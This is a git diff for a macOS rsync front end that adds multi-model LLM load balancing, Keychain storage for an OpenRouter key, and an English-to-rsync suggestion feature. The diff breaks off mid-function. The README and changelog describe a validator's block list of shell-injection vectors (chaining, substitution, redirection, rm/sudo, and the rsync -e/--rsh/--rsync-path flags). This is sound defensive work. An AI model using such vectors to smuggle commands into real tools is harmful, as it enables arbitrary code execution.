diff --git a/CHANGELOG.md b/CHANGELOG.md
index b65537e..7a9eb7e 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -7,6 +7,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased]
+### Added
+- **Multi-model LLM load balancing.** Shared load balancer that spreads AI work
+ across every enabled, healthy model using a least-busy policy with health-gated
+ failover. Three independent, persisted toggles compose the pool: all local
+ (Ollama + MLX), all frontier (OpenRouter, key in the macOS Keychain), and the
+ optional Nova Gateway. Nova is never required — the feature works with zero Nova.
+ New settings pane under Settings → AI Assist.
+- **Describe-it-in-English rsync.** New field in the Job Editor's Basic tab: describe
+ a sync in plain English and the balanced LLM proposes a concrete rsync command.
+ The command is shown for review and pre-fills the builder on explicit action — it
+ is never auto-executed.
+- **`parseRsyncSuggestion` output validator.** Pure, network-free sanitizer that
+ extracts only a valid rsync invocation and rejects shell chaining, command
+ substitution, redirection, non-rsync programs, and program-executing rsync flags
+ (`-e` / `--rsh` / `--rsync-path`) via a strict allow-list. Hardened with unit tests
+ covering injection rejection, clean parse, and the graceful no-backend path.
+
+### Changed
+- App sandbox confirmed disabled for the app target (Hardened Runtime / notarization
+ retained); required for local backend discovery and process-based MLX inference.
+
### Planned
- Performance improvements
- Additional features based on community feedback
diff --git a/README.md b/README.md
index 1c8ca73..a4535d4 100644
--- a/README.md
+++ b/README.md
@@ -23,6 +23,8 @@ A professional macOS GUI for rsync with real-time progress, AI-powered insights,
| SSH remote sync | Public key authentication with Keychain credential storage, connection testing, and key path validation |
| iCloud Drive sync | One-click iCloud destination setup with automatic `.icloud` placeholder exclusion |
| AI insights (10 features) | Error diagnosis, change summary, anomaly detection, smart scheduling, storage prediction, exclusion suggestions, NLP job creation, health scoring, recovery assistant, sensitive file detection |
+| Multi-model load balancing | Spread AI work across every enabled, healthy model (local Ollama + MLX, frontier OpenRouter, optional Nova Gateway) with a least-busy policy and health-gated failover. Three independent toggles; Nova is never required |
+| Describe-it-in-English rsync | Type your intent in plain English and a balanced LLM proposes a concrete rsync command. It is shown for review and pre-fills the builder — it is never auto-executed |
| Desktop widget | WidgetKit extension (Small / Medium / Large) showing health score, last sync, next sync, and recent activity |
| Menu bar integration | Status bar icon with quick job access and window toggle |
| Pre/post sync scripts | Run custom scripts with environment variables (JOB_NAME, JOB_STATUS, FILES_TRANSFERRED); only absolute paths accepted |
@@ -138,6 +140,62 @@ sequenceDiagram
---
+## Multi-Model Load Balancing & Describe-it-in-English rsync
+
+RsyncGUI ships the shared multi-model LLM load balancer. AI work (including the
+natural-language rsync assistant) is spread across every **enabled, healthy** model
+using a least-busy policy — the single-user version of how Nova's gateway balances
+load. Three independent toggles compose the pool, and each backend is health-gated
+so an unreachable one is simply skipped:
+
+- **All local** — every discovered Ollama model (`/api/tags`) plus locally-installed MLX models.
+- **All frontier** — OpenRouter models (bring-your-own-key, stored in the macOS Keychain).
+- **Nova Gateway** — *optional* OpenAI-compatible backend at `http://127.0.0.1:18792`
+ (health on `/v1/models`). A failed health check just marks it unavailable; everything
+ else keeps working.
+
+> Nova is **never** a hard requirement. With zero Nova the feature works on local
+> models and/or an OpenRouter key alone. There is no dependency on Nova, PostgreSQL,
+> or the gateway.
+
+### Describe it in English
+
+The Job Editor's **Basic** tab has a "Describe it in English (AI)" field. Type an
+intent — for example *"mirror Photos to the NAS, skip video files, delete extras on
+the destination"* — and the balanced LLM returns a concrete rsync command. It is
+surfaced for **review** and, on an explicit click, pre-fills the command builder.
+
+**Safety:** rsync is destructive (`--delete`), so the generated command is **never
+run automatically**. A pure, network-free validator (`parseRsyncSuggestion`) extracts
+*only* a valid rsync invocation and rejects everything else — shell chaining
+(`;` `&&` `|`), command substitution (`` ` `` `$()`), redirection (`>` `<`), non-rsync
+programs (`rm`, `sudo`, `cp`), and any program-executing rsync flag (`-e`, `--rsh`,
+`--rsync-path`) via a strict flag allow-list. If no backend is enabled the feature
+disables itself with a clear reason rather than failing.
+
+```mermaid
+graph TD
+ U["User intent (plain English)"] --> PB["RsyncPromptBuilder
(pure, network-free)"]
+ PB --> LB["LLMLoadBalancerService"]
+
+ subgraph Pool["Enabled + health-gated pool"]
+ OL["Ollama (local)"]
+ MLX["MLX (local)"]
+ OR["OpenRouter (frontier)"]
+ NG["Nova Gateway (optional)"]
+ end
+
+ LB -->|"LoadBalancer.next()
least-busy"| Pool
+ Pool -->|"raw LLM text"| PV["parseRsyncSuggestion()
strict validator / sanitizer"]
+ PV -->|"rejected: injection / non-rsync"| X["Discarded, nothing shown"]
+ PV -->|"clean rsync only"| RC["RsyncCommand"]
+ RC --> RV["Review card (read-only)"]
+ RV -->|"explicit Apply"| CB["Command builder pre-filled"]
+ CB -.->|"user starts the job themselves"| RUN["rsync runs"]
+```
+
+---
+
## Fixes in 1.7.4
**Destination path editing (issue #4).** Browsing to a destination and clicking
diff --git a/RsyncGUI.xcodeproj/project.pbxproj b/RsyncGUI.xcodeproj/project.pbxproj
index 3377c74..5479226 100644
--- a/RsyncGUI.xcodeproj/project.pbxproj
+++ b/RsyncGUI.xcodeproj/project.pbxproj
@@ -62,6 +62,16 @@
W1DGET1MAINSRC1BLD123456 /* RsyncGUIWidget.swift in Sources */ = {isa = PBXBuildFile; fileRef = W1DGET1MAINSRC1FILE123456 /* RsyncGUIWidget.swift */; };
W1DGET1SHARED1BLD1234567 /* SharedDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = W1DGET1SHARED1FILE1234567 /* SharedDataManager.swift */; };
W1DGETDATASYNC1BLDFILE12 /* WidgetDataSync.swift in Sources */ = {isa = PBXBuildFile; fileRef = W1DGETDATASYNC1FILEREF12 /* WidgetDataSync.swift */; };
+ MODELREG1BLDFILE12345678 /* ModelRegistry.swift in Sources */ = {isa = PBXBuildFile; fileRef = MODELREG1FILEREF12345678 /* ModelRegistry.swift */; };
+ OPENROUTER1BLDFILE123456 /* OpenRouterProvider.swift in Sources */ = {isa = PBXBuildFile; fileRef = OPENROUTER1FILEREF123456 /* OpenRouterProvider.swift */; };
+ KEYCHAIN1BLDFILE12345678 /* KeychainStore.swift in Sources */ = {isa = PBXBuildFile; fileRef = KEYCHAIN1FILEREF12345678 /* KeychainStore.swift */; };
+ LLMBALANCE1BLDFILE123456 /* LLMLoadBalancerService.swift in Sources */ = {isa = PBXBuildFile; fileRef = LLMBALANCE1FILEREF123456 /* LLMLoadBalancerService.swift */; };
+ RSYNCSUGG1BLDFILE1234567 /* RsyncSuggestionService.swift in Sources */ = {isa = PBXBuildFile; fileRef = RSYNCSUGG1FILEREF1234567 /* RsyncSuggestionService.swift */; };
+ LLMBTYPE1BLDFILE12345678 /* LLMBackendType.swift in Sources */ = {isa = PBXBuildFile; fileRef = LLMBTYPE1FILEREF12345678 /* LLMBackendType.swift */; };
+ LLMSUPPORT1BLDFILE123456 /* LLMSupportTypes.swift in Sources */ = {isa = PBXBuildFile; fileRef = LLMSUPPORT1FILEREF123456 /* LLMSupportTypes.swift */; };
+ LLMASSISTV1BLDFILE123456 /* LLMAssistViews.swift in Sources */ = {isa = PBXBuildFile; fileRef = LLMASSISTV1FILEREF123456 /* LLMAssistViews.swift */; };
+ LBTESTS1BLDFILE123456789 /* LoadBalancerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = LBTESTS1FILEREF123456789 /* LoadBalancerTests.swift */; };
+ RSTESTS1BLDFILE123456789 /* RsyncSuggestionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = RSTESTS1FILEREF123456789 /* RsyncSuggestionTests.swift */; };
/* End PBXBuildFile section */
/* Begin PBXContainerItemProxy section */
@@ -156,6 +166,16 @@
W1DGET1MAINSRC1FILE123456 /* RsyncGUIWidget.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RsyncGUIWidget.swift; sourceTree = ""; };
W1DGET1SHARED1FILE1234567 /* SharedDataManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SharedDataManager.swift; sourceTree = ""; };
W1DGETDATASYNC1FILEREF12 /* WidgetDataSync.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = WidgetDataSync.swift; path = RsyncGUI/Services/WidgetDataSync.swift; sourceTree = ""; };
+ MODELREG1FILEREF12345678 /* ModelRegistry.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = ModelRegistry.swift; path = RsyncGUI/Services/ModelRegistry.swift; sourceTree = ""; };
+ OPENROUTER1FILEREF123456 /* OpenRouterProvider.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = OpenRouterProvider.swift; path = RsyncGUI/Services/OpenRouterProvider.swift; sourceTree = ""; };
+ KEYCHAIN1FILEREF12345678 /* KeychainStore.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = KeychainStore.swift; path = RsyncGUI/Services/KeychainStore.swift; sourceTree = ""; };
+ LLMBALANCE1FILEREF123456 /* LLMLoadBalancerService.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = LLMLoadBalancerService.swift; path = RsyncGUI/Services/LLMLoadBalancerService.swift; sourceTree = ""; };
+ RSYNCSUGG1FILEREF1234567 /* RsyncSuggestionService.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = RsyncSuggestionService.swift; path = RsyncGUI/Services/RsyncSuggestionService.swift; sourceTree = ""; };
+ LLMBTYPE1FILEREF12345678 /* LLMBackendType.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = LLMBackendType.swift; path = RsyncGUI/Models/LLMBackendType.swift; sourceTree = ""; };
+ LLMSUPPORT1FILEREF123456 /* LLMSupportTypes.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = LLMSupportTypes.swift; path = RsyncGUI/Models/LLMSupportTypes.swift; sourceTree = ""; };
+ LLMASSISTV1FILEREF123456 /* LLMAssistViews.swift */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.swift; name = LLMAssistViews.swift; path = RsyncGUI/Views/LLMAssistViews.swift; sourceTree = ""; };
+ LBTESTS1FILEREF123456789 /* LoadBalancerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LoadBalancerTests.swift; sourceTree = ""; };
+ RSTESTS1FILEREF123456789 /* RsyncSuggestionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RsyncSuggestionTests.swift; sourceTree = ""; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
@@ -194,6 +214,8 @@
FB5B2B02DFC13B7EA918212F /* SyncJob.swift */,
4AB5A4475246EFD82B180AB5 /* ConnectionTest.swift */,
6078B9C270C3DFB1F180CA3F /* ExecutionHistory.swift */,
+ LLMBTYPE1FILEREF12345678 /* LLMBackendType.swift */,
+ LLMSUPPORT1FILEREF123456 /* LLMSupportTypes.swift */,
);
name = Models;
sourceTree = "";
@@ -262,6 +284,11 @@
0D721D714FA57020723CD52D /* ScheduleManager.swift */,
0501948699D7168C7FAFCDDC /* MenuBarManager.swift */,
W1DGETDATASYNC1FILEREF12 /* WidgetDataSync.swift */,
+ MODELREG1FILEREF12345678 /* ModelRegistry.swift */,
+ OPENROUTER1FILEREF123456 /* OpenRouterProvider.swift */,
+ KEYCHAIN1FILEREF12345678 /* KeychainStore.swift */,
+ LLMBALANCE1FILEREF123456 /* LLMLoadBalancerService.swift */,
+ RSYNCSUGG1FILEREF1234567 /* RsyncSuggestionService.swift */,
);
name = Services;
sourceTree = "";
@@ -298,6 +325,7 @@
41893A1D4E512F8F7C9BAC87 /* DeltaReportView.swift */,
F670173A93CD07D603A51D71 /* ExecutionHistoryView.swift */,
JHTVF123456789ABCDEF1234 /* JobHistoryTabView.swift */,
+ LLMASSISTV1FILEREF123456 /* LLMAssistViews.swift */,
);
name = Views;
sourceTree = "";
@@ -330,6 +358,8 @@
TEST1WIDGETDT1FILEREF1234 /* WidgetDataTests.swift */,
TEST1NOVAAPI1FILEREF12345 /* NovaAPITests.swift */,
A5031762659B84C5717A6268 /* CommandBuilderTests.swift */,
+ LBTESTS1FILEREF123456789 /* LoadBalancerTests.swift */,
+ RSTESTS1FILEREF123456789 /* RsyncSuggestionTests.swift */,
);
path = RsyncGUITests;
sourceTree = "";
@@ -509,6 +539,14 @@
445A92C3E85B0445DD3CE0F5 /* AIBackendManager+Enhanced.swift in Sources */,
A39615CCF66F3666DDCE7573 /* AIBackendStatusMenu.swift in Sources */,
DA4CAC4B477003225AE0008D /* NovaAPIServer.swift in Sources */,
+ MODELREG1BLDFILE12345678 /* ModelRegistry.swift in Sources */,
+ OPENROUTER1BLDFILE123456 /* OpenRouterProvider.swift in Sources */,
+ KEYCHAIN1BLDFILE12345678 /* KeychainStore.swift in Sources */,
+ LLMBALANCE1BLDFILE123456 /* LLMLoadBalancerService.swift in Sources */,
+ RSYNCSUGG1BLDFILE1234567 /* RsyncSuggestionService.swift in Sources */,
+ LLMBTYPE1BLDFILE12345678 /* LLMBackendType.swift in Sources */,
+ LLMSUPPORT1BLDFILE123456 /* LLMSupportTypes.swift in Sources */,
+ LLMASSISTV1BLDFILE123456 /* LLMAssistViews.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
@@ -533,6 +571,8 @@
TEST1WIDGETDT1BLDFILE1234 /* WidgetDataTests.swift in Sources */,
TEST1NOVAAPI1BLDFILE12345 /* NovaAPITests.swift in Sources */,
D3BAA9CF67D89D0E88613C7D /* CommandBuilderTests.swift in Sources */,
+ LBTESTS1BLDFILE123456789 /* LoadBalancerTests.swift in Sources */,
+ RSTESTS1BLDFILE123456789 /* RsyncSuggestionTests.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
diff --git a/RsyncGUI/Models/LLMBackendType.swift b/RsyncGUI/Models/LLMBackendType.swift
new file mode 100644
index 0000000..fca0c4e
--- /dev/null
+++ b/RsyncGUI/Models/LLMBackendType.swift
@@ -0,0 +1,97 @@
+//
+// LLMBackendType.swift
+// AIStudio
+//
+// Created by Jordan Koch on 2026-02-19.
+// Copyright © 2026 Jordan Koch. All rights reserved.
+//
+
+import Foundation
+
+/// LLM backend type identifier
+enum LLMBackendType: String, CaseIterable, Codable, Sendable {
+ case ollama = "ollama"
+ case mlx = "mlx"
+ case tinyLLM = "tinyllm"
+ case tinyChat = "tinychat"
+ case openWebUI = "openwebui"
+ case openRouter = "openrouter"
+ case novaGateway = "novagateway"
+ case auto = "auto"
+
+ var displayName: String {
+ switch self {
+ case .ollama: return "Ollama"
+ case .mlx: return "MLX Native"
+ case .tinyLLM: return "TinyLLM"
+ case .tinyChat: return "TinyChat"
+ case .openWebUI: return "OpenWebUI"
+ case .openRouter: return "OpenRouter (Frontier Models)"
+ case .novaGateway: return "Nova Gateway"
+ case .auto: return "Auto (Prefer Ollama)"
+ }
+ }
+
+ var icon: String {
+ switch self {
+ case .ollama: return "network"
+ case .mlx: return "cpu"
+ case .tinyLLM: return "cube"
+ case .tinyChat: return "bubble.left.and.bubble.right.fill"
+ case .openWebUI: return "globe"
+ case .openRouter: return "cloud"
+ case .novaGateway: return "sparkle.magnifyingglass"
+ case .auto: return "sparkles"
+ }
+ }
+
+ var defaultURL: String {
+ switch self {
+ case .ollama: return "http://localhost:11434"
+ case .mlx: return ""
+ case .tinyLLM: return "http://localhost:8000"
+ case .tinyChat: return "http://localhost:8000"
+ case .openWebUI: return "http://localhost:8080"
+ case .openRouter: return OpenRouterProvider.baseURL
+ case .novaGateway: return ModelRegistry.novaGatewayDefaultURL
+ case .auto: return ""
+ }
+ }
+
+ var description: String {
+ switch self {
+ case .ollama: return "HTTP-based LLM API (localhost:11434)"
+ case .mlx: return "Apple Silicon native inference via MLX"
+ case .tinyLLM: return "TinyLLM lightweight server (localhost:8000)"
+ case .tinyChat: return "TinyChat by Jason Cox (localhost:8000)"
+ case .openWebUI: return "Self-hosted AI platform (localhost:8080)"
+ case .openRouter: return "Frontier cloud models via OpenRouter (bring your own key)"
+ case .novaGateway: return "Nova's gateway — OpenAI-compatible, inherits Nova's own routing (127.0.0.1:18792)"
+ case .auto: return "Automatically choose best available backend"
+ }
+ }
+
+ var attribution: String? {
+ switch self {
+ case .tinyLLM: return "TinyLLM by Jason Cox (https://github.com/jasonacox/TinyLLM)"
+ case .tinyChat: return "TinyChat by Jason Cox (https://github.com/jasonacox/tinychat)"
+ case .openWebUI: return "OpenWebUI Community Project (https://github.com/open-webui/open-webui)"
+ default: return nil
+ }
+ }
+}
+
+/// Configuration for a single LLM backend
+struct LLMBackendConfiguration: Identifiable, Sendable {
+ let id: UUID
+ let type: LLMBackendType
+ var url: String
+ var status: BackendStatus
+
+ init(type: LLMBackendType, url: String? = nil) {
+ self.id = UUID()
+ self.type = type
+ self.url = url ?? type.defaultURL
+ self.status = .disconnected
+ }
+}
diff --git a/RsyncGUI/Models/LLMSupportTypes.swift b/RsyncGUI/Models/LLMSupportTypes.swift
new file mode 100644
index 0000000..e759466
--- /dev/null
+++ b/RsyncGUI/Models/LLMSupportTypes.swift
@@ -0,0 +1,91 @@
+//
+// LLMSupportTypes.swift
+// RsyncGUI
+//
+// Supporting value types for the multi-model LLM load balancer.
+// These mirror the small AIStudio types that the verbatim-shared services
+// (ModelRegistry / OpenRouterProvider / KeychainStore / LLMBackendType) depend
+// on, so the pure/network-free pieces port over unchanged.
+//
+// Author: Jordan Koch
+//
+
+import Foundation
+
+// MARK: - Backend connection status
+
+/// Connection status for a single LLM backend.
+enum BackendStatus: Sendable, Equatable {
+ case connected
+ case disconnected
+ case checking
+ case error(String)
+
+ var displayText: String {
+ switch self {
+ case .connected: return "Connected"
+ case .disconnected: return "Disconnected"
+ case .checking: return "Checking..."
+ case .error(let msg): return "Error: \(msg)"
+ }
+ }
+
+ var isConnected: Bool {
+ if case .connected = self { return true }
+ return false
+ }
+}
+
+// MARK: - Chat message shape
+
+/// Role in a chat conversation (OpenAI-compatible roles).
+enum ChatRole: String, Codable, Sendable {
+ case system
+ case user
+ case assistant
+}
+
+/// A single chat message passed to the OpenAI-compatible request builders.
+struct ChatMessage: Identifiable, Codable, Sendable {
+ let id: UUID
+ let role: ChatRole
+ var content: String
+ let timestamp: Date
+
+ init(role: ChatRole, content: String) {
+ self.id = UUID()
+ self.role = role
+ self.content = content
+ self.timestamp = Date()
+ }
+}
+
+// MARK: - LLM errors
+
+/// Errors surfaced by the load-balanced LLM path. `noBackendAvailable` is the
+/// signal the natural-language rsync feature uses to disable itself gracefully.
+enum LLMError: LocalizedError, Sendable {
+ case noBackendAvailable
+ case invalidURL
+ case invalidResponse
+ case httpError(Int)
+ case noResponse
+ case mlxNotAvailable
+
+ var errorDescription: String? {
+ switch self {
+ case .noBackendAvailable:
+ return "No LLM backend is available. Start Ollama, add an OpenRouter key, or enable the Nova Gateway."
+ case .invalidURL:
+ return "Invalid backend URL configuration."
+ case .invalidResponse:
+ return "Received an invalid response from the LLM backend."
+ case .httpError(let code):
+ return "HTTP error \(code) from the LLM backend."
+ case .noResponse:
+ return "No response received from the LLM backend."
+ case .mlxNotAvailable:
+ return "MLX not available. Install with: pip install mlx-lm"
+ }
+ }
+}
diff --git a/RsyncGUI/Services/KeychainStore.swift b/RsyncGUI/Services/KeychainStore.swift
new file mode 100644
index 0000000..58f8de8
--- /dev/null
+++ b/RsyncGUI/Services/KeychainStore.swift
@@ -0,0 +1,80 @@
+//
+// KeychainStore.swift
+// AIStudio
+//
+// Created by Jordan Koch on 2026-02-19.
+// Copyright © 2026 Jordan Koch. All rights reserved.
+//
+
+import Foundation
+import Security
+
+/// Minimal macOS Keychain wrapper for storing secrets (e.g. API keys).
+///
+/// Secrets are stored as classic generic-password items in the login keychain so
+/// that the round-trip works in unsigned/unsandboxed unit-test processes (no
+/// data-protection keychain, which would require entitlements). Never store
+/// secrets in UserDefaults.
+struct KeychainStore {
+ let service: String
+ let account: String
+
+ /// - Parameters:
+ /// - service: Keychain service identifier. Defaults to the OpenRouter service.
+ /// - account: Account/key name within the service.
+ init(service: String = OpenRouterProvider.keychainService, account: String = "apiKey") {
+ self.service = service
+ self.account = account
+ }
+
+ private var baseQuery: [String: Any] {
+ [
+ kSecClass as String: kSecClassGenericPassword,
+ kSecAttrService as String: service,
+ kSecAttrAccount as String: account
+ ]
+ }
+
+ /// Store (or replace) a secret. Returns true on success.
+ @discardableResult
+ func set(_ value: String) -> Bool {
+ guard let data = value.data(using: .utf8) else { return false }
+
+ // Remove any existing item first so we can cleanly re-add.
+ SecItemDelete(baseQuery as CFDictionary)
+
+ var attributes = baseQuery
+ attributes[kSecValueData as String] = data
+ let status = SecItemAdd(attributes as CFDictionary, nil)
+ return status == errSecSuccess
+ }
+
+ /// Retrieve a secret, or nil if none is stored.
+ func get() -> String? {
+ var query = baseQuery
+ query[kSecReturnData as String] = true
+ query[kSecMatchLimit as String] = kSecMatchLimitOne
+
+ var result: AnyObject?
+ let status = SecItemCopyMatching(query as CFDictionary, &result)
+ guard status == errSecSuccess,
+ let data = result as? Data,
+ let value = String(data: data, encoding: .utf8) else {
+ return nil
+ }
+ return value
+ }
+
+ /// Delete the stored secret. Returns true if an item was removed or none existed.
+ @discardableResult
+ func delete() -> Bool {
+ let status = SecItemDelete(baseQuery as CFDictionary)
+ return status == errSecSuccess || status == errSecItemNotFound
+ }
+
+ /// True if a non-empty secret is stored.
+ var hasValue: Bool {
+ guard let value = get() else { return false }
+ return !value.isEmpty
+ }
+}
diff --git a/RsyncGUI/Services/LLMLoadBalancerService.swift b/RsyncGUI/Services/LLMLoadBalancerService.swift
new file mode 100644
index 0000000..79e5650
--- /dev/null
+++ b/RsyncGUI/Services/LLMLoadBalancerService.swift
@@ -0,0 +1,367 @@
+//
+// LLMLoadBalancerService.swift
+// RsyncGUI
+//
+// The shared multi-model LLM load balancer, wired into RsyncGUI. Mirrors the
+// balanced-dispatch design from AIStudio's LLMBackendManager: it composes the
+// enabled model pool from three independent toggles, health-gates it, and spreads
+// work across the healthy models via the pure `LoadBalancer`.
+//
+// HARD INVARIANT — Nova is NEVER required. The feature works with zero Nova:
+// • local models (Ollama discovered via /api/tags, MLX from the HF hub cache)
+// • frontier models (OpenRouter, bring-your-own-key)
+// The Nova Gateway (OpenAI-compatible, 127.0.0.1:18792, health at /v1/models) is
+// one OPTIONAL backend. A failed health check simply marks it unavailable; every
+// other backend keeps working. There is no hard dependency on Nova / PG / gateway.
+//
+// Author: Jordan Koch
+//
+
+import Foundation
+import Combine
+
+@MainActor
+final class LLMLoadBalancerService: ObservableObject {
+ static let shared = LLMLoadBalancerService()
+
+ // MARK: - Toggles (persisted)
+
+ /// Include all discovered local models (Ollama + MLX) in the balanced pool.
+ @Published var useAllLocalModels: Bool {
+ didSet { UserDefaults.standard.set(useAllLocalModels, forKey: Keys.useAllLocalModels) }
+ }
+ /// Include all frontier (OpenRouter) models in the balanced pool.
+ @Published var enableAllFrontierModels: Bool {
+ didSet { UserDefaults.standard.set(enableAllFrontierModels, forKey: Keys.enableAllFrontierModels) }
+ }
+ /// Include the optional Nova Gateway backend in the balanced pool.
+ @Published var useNovaGateway: Bool {
+ didSet { UserDefaults.standard.set(useNovaGateway, forKey: Keys.useNovaGateway) }
+ }
+
+ // MARK: - Endpoints (persisted)
+
+ @Published var ollamaURL: String {
+ didSet { UserDefaults.standard.set(ollamaURL, forKey: Keys.ollamaURL) }
+ }
+ @Published var novaGatewayURL: String {
+ didSet { UserDefaults.standard.set(novaGatewayURL, forKey: Keys.novaGatewayURL) }
+ }
+
+ // MARK: - Discovered state
+
+ /// Models currently discovered across the enabled sources.
+ @Published var discoveredModels: [DiscoveredModel] = []
+ /// Per-backend connection status (for the settings UI).
+ @Published var backendStatus: [LLMBackendType: BackendStatus] = [:]
+ @Published var isRefreshing = false
+
+ @Published var openRouterModels: [String] = OpenRouterProvider.fallbackModels
+
+ /// Pure, network-free balancer that spreads work across the enabled pool.
+ let balancer = LoadBalancer()
+ /// Least-busy mirrors how Nova's gateway spreads load.
+ var balancerPolicy: BalancerPolicy = .leastBusy
+
+ /// Keychain-backed store for the OpenRouter API key.
+ let openRouterKeychain = KeychainStore()
+
+ /// Ordered preference chain for automatic failover (local-first, then frontier,
+ /// then the optional gateway).
+ let failoverChain: [LLMBackendType] = [.ollama, .mlx, .openRouter, .novaGateway]
+
+ private let session: URLSession
+
+ private enum Keys {
+ static let useAllLocalModels = "LLMBalancer_useAllLocalModels"
+ static let enableAllFrontierModels = "LLMBalancer_enableAllFrontierModels"
+ static let useNovaGateway = "LLMBalancer_useNovaGateway"
+ static let ollamaURL = "LLMBalancer_ollamaURL"
+ static let novaGatewayURL = "LLMBalancer_novaGatewayURL"
+ }
+
+ init() {
+ let config = URLSessionConfiguration.default
+ config.timeoutIntervalForRequest = 30
+ self.session = URLSession(configuration: config)
+
+ let defaults = UserDefaults.standard
+ self.useAllLocalModels = defaults.object(forKey: Keys.useAllLocalModels) as? Bool ?? false
+ self.enableAllFrontierModels = defaults.object(forKey: Keys.enableAllFrontierModels) as? Bool ?? false
+ self.useNovaGateway = defaults.object(forKey: Keys.useNovaGateway) as? Bool ?? false
+ self.ollamaURL = defaults.string(forKey: Keys.ollamaURL) ?? ModelRegistry.ollamaBaseURL
+ self.novaGatewayURL = defaults.string(forKey: Keys.novaGatewayURL) ?? ModelRegistry.novaGatewayDefaultURL
+ }
+
+ // MARK: - OpenRouter API key (Keychain-backed)
+
+ func setOpenRouterAPIKey(_ key: String) {
+ let trimmed = key.trimmingCharacters(in: .whitespacesAndNewlines)
+ if trimmed.isEmpty {
+ openRouterKeychain.delete()
+ } else {
+ openRouterKeychain.set(trimmed)
+ }
+ }
+
+ func openRouterAPIKey() -> String? { openRouterKeychain.get() }
+ var hasOpenRouterKey: Bool { openRouterKeychain.hasValue }
+
+ /// True when at least one balancing toggle is on. The natural-language rsync
+ /// feature uses this (plus a live pool) to decide whether it is usable.
+ var isBalancingEnabled: Bool {
+ useAllLocalModels || enableAllFrontierModels || useNovaGateway
+ }
+
+ // MARK: - Availability probes (resilient — never throw)
+
+ func checkAvailability(_ type: LLMBackendType) async -> Bool {
+ switch type {
+ case .ollama: return await checkOllama()
+ case .mlx: return checkMLX()
+ case .openRouter: return await checkOpenRouter()
+ case .novaGateway: return await checkNovaGateway()
+ default: return false
+ }
+ }
+
+ /// Refresh the status of every backend that a toggle could enable. Used by the
+ /// settings UI; each probe is independent so one failure never blocks the rest.
+ func refreshAllBackends() async {
+ isRefreshing = true
+ defer { isRefreshing = false }
+ for backend in failoverChain {
+ backendStatus[backend] = .checking
+ let ok = await checkAvailability(backend)
+ backendStatus[backend] = ok ? .connected : .disconnected
+ }
+ _ = await discoverEnabledPool()
+ }
+
+ private func checkOllama() async -> Bool {
+ guard let url = URL(string: "\(ollamaURL)/api/tags") else { return false }
+ do {
+ let (_, response) = try await session.data(from: url)
+ return (response as? HTTPURLResponse)?.statusCode == 200
+ } catch { return false }
+ }
+
+ private func checkMLX() -> Bool {
+ // MLX runs in-process from the local Hugging Face hub cache; "available"
+ // simply means at least one MLX model is present. No network, never throws.
+ !ModelRegistry.discoverMLX().isEmpty
+ }
+
+ private func checkOpenRouter() async -> Bool {
+ guard let key = openRouterAPIKey(), !key.isEmpty,
+ let url = URL(string: OpenRouterProvider.modelsURL) else { return false }
+ var request = URLRequest(url: url)
+ for (header, value) in OpenRouterProvider.authHeaders(apiKey: key) {
+ request.setValue(value, forHTTPHeaderField: header)
+ }
+ do {
+ let (data, response) = try await session.data(for: request)
+ guard (response as? HTTPURLResponse)?.statusCode == 200 else { return false }
+ let models = OpenRouterProvider.parseModels(data)
+ if !models.isEmpty { openRouterModels = models }
+ return true
+ } catch { return false }
+ }
+
+ private func checkNovaGateway() async -> Bool {
+ // OPTIONAL backend. Probe the OpenAI-compatible models listing; any failure
+ // just marks it unavailable and the rest of the pool keeps working.
+ let candidates = ["\(novaGatewayURL)/v1/models", "\(novaGatewayURL)/"].compactMap { URL(string: $0) }
+ for url in candidates {
+ do {
+ let (_, response) = try await session.data(from: url)
+ if (response as? HTTPURLResponse)?.statusCode == 200 { return true }
+ } catch { continue }
+ }
+ return false
+ }
+
+ // MARK: - Pool composition
+
+ /// Discover the enabled balancer pool honoring the three toggles. Resilient:
+ /// any unreachable source contributes zero models.
+ @discardableResult
+ func discoverEnabledPool() async -> [DiscoveredModel] {
+ var ollama: [DiscoveredModel] = []
+ var mlx: [DiscoveredModel] = []
+ var frontier: [DiscoveredModel] = []
+
+ if useAllLocalModels {
+ ollama = await ModelRegistry.discoverOllama(baseURL: ollamaURL, session: session)
+ mlx = ModelRegistry.discoverMLX()
+ }
+ if enableAllFrontierModels {
+ frontier = ModelRegistry.frontierModels(from: openRouterModels)
+ }
+ let nova = useNovaGateway ? ModelRegistry.novaGatewayModel(url: novaGatewayURL) : nil
+
+ let pool = ModelRegistry.assemblePool(
+ ollama: ollama, mlx: mlx, frontier: frontier, novaGateway: nova,
+ useAllLocalModels: useAllLocalModels,
+ enableAllFrontierModels: enableAllFrontierModels,
+ useNovaGateway: useNovaGateway
+ )
+ discoveredModels = pool
+ return pool
+ }
+
+ /// Build a `[modelId: Bool]` health map by probing each distinct backend once.
+ private func healthMap(for pool: [DiscoveredModel]) async -> [String: Bool] {
+ var backendHealth: [LLMBackendType: Bool] = [:]
+ for backend in Set(pool.map { $0.backend }) {
+ backendHealth[backend] = await checkAvailability(backend)
+ }
+ var map: [String: Bool] = [:]
+ for model in pool { map[model.id] = backendHealth[model.backend] ?? false }
